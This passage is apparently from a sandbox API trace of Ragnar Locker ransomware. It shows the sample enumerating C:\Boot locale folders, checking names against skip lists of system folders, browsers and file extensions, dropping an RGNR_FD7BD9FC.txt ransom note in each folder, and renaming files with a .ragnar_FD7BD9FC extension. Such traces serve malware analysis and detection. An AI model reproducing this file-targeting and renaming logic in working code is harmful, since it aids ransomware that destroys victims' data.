ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.364] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.364] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.364] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.364] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.364] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.364] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.364] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.364] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.365] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\it-IT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.365] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.365] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.365] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.365] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0047.365] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.365] CloseHandle (hObject=0xffffffff) returned 0 [0047.366] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" [0047.366] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.366] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.366] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\it-IT\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.366] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.366] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\it-IT\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.366] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.366] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.366] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.366] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2=".") returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="..") returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Windows") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Windows.old") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Tor browser") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Internet Explorer") returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Google") returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Opera") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Opera Software") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Mozilla") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="Mozilla Firefox") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="$Recycle.Bin") returned 1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="ProgramData") returned -1 [0047.366] lstrcmpiW (lpString1="ja-JP", lpString2="All Users") returned 1 [0047.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.366] lstrcpyW (in: lpString1=0x1ed660, lpString2="ja-JP" | out: lpString1="ja-JP") returned="ja-JP" [0047.366] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\") returned="\\\\?\\C:\\Boot\\ja-JP\\" [0047.366] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\ja-JP\\" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\") returned="\\\\?\\C:\\Boot\\ja-JP\\" [0047.367] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ja-JP\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\ja-JP\\RGNR_FD7BD9FC.txt" [0047.367] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\ja-JP\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\ja-jp\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.368] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ja-JP\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\*.*") returned="\\\\?\\C:\\Boot\\ja-JP\\*.*" [0047.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ja-JP\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.368] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.368] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.369] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.369] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.369] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.369] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.369] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.369] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e78ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.369] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.369] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ja-JP\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.369] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.369] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.369] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.370] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.370] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0047.370] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.370] CloseHandle (hObject=0xffffffff) returned 0 [0047.370] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0047.370] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.370] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ja-JP\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.371] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.371] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ja-JP\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.371] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.371] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e78ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e78ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.371] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.371] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2=".") returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="..") returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Windows") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Windows.old") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Tor browser") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Internet Explorer") returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Google") returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Opera") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Opera Software") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Mozilla") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="Mozilla Firefox") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="$Recycle.Bin") returned 1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="ProgramData") returned -1 [0047.371] lstrcmpiW (lpString1="ko-KR", lpString2="All Users") returned 1 [0047.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, 